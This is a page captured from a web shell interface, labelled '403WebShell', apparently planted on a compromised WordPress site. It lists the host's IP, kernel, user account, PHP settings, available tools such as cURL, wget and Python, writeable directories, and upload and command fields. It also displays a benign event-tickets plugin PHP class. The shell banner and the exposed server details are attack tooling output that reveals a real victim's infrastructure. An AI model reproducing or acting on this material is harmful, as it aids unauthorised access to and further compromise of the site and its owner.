Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 52.15.92.58
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/Attendance.php
<?php
/**
 * Utilities for tracking ticket provider-agnostic attendance data.
 */
class Tribe__Tickets__Attendance {
	/**
	 * Meta key used to track the number of attendees that have been deleted
	 * for each event.
	 */
	const DELETED_ATTENDEES_COUNT = '_tribe_deleted_attendees_count';

	/**
	 * Container for our instances (one per event/post).
	 *
	 * @var array
	 */
	protected static $instances = array();

	/**
	 * @var int
	 */
	protected $post_id = 0;


	/**
	 * Returns a Tribe__Tickets__Attendance object for the specified post ID.
	 *
	 * @param int $post_id
	 *
	 * @return Tribe__Tickets__Attendance
	 */
	public static function instance( $post_id ) {
		if ( ! isset( self::$instances[ $post_id ] ) ) {
			self::$instances[ $post_id ] = new self( $post_id );
		}

		return self::$instances[ $post_id ];
	}

	protected function __construct( $post_id ) {
		$this->post_id = $post_id;
	}

	/**
	 * Increments the count of deleted attendees for an event/post
	 * (defaults to 1 unit).
	 *
	 * @param int $units
	 */
	public function increment_deleted_attendees_count( $units = 1 ) {
		$deleted = absint( get_post_meta( $this->post_id, self::DELETED_ATTENDEES_COUNT, true ) );
		update_post_meta( $this->post_id, self::DELETED_ATTENDEES_COUNT, absint( $deleted + $units ) );
	}

	/**
	 * Returns the count of deleted attendees.
	 *
	 * Note that this was not tracked prior to 4.1.4 release, so inaccuracies may
	 * result where attendees were deleted before then.
	 *
	 * @return int
	 */
	public function get_deleted_attendees_count() {
		return absint( get_post_meta( $this->post_id, self::DELETED_ATTENDEES_COUNT, true ) );
	}

	/**
	 * Deletes the attendees caches for a post.
	 *
	 * @param int $post_id The post `ID` field.
	 */
	public static function delete_attendees_caches( $post_id ) {
		$post_transient = Tribe__Post_Transient::instance();
		$post_transient->delete( $post_id, Tribe__Tickets__Tickets::ATTENDEES_CACHE );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit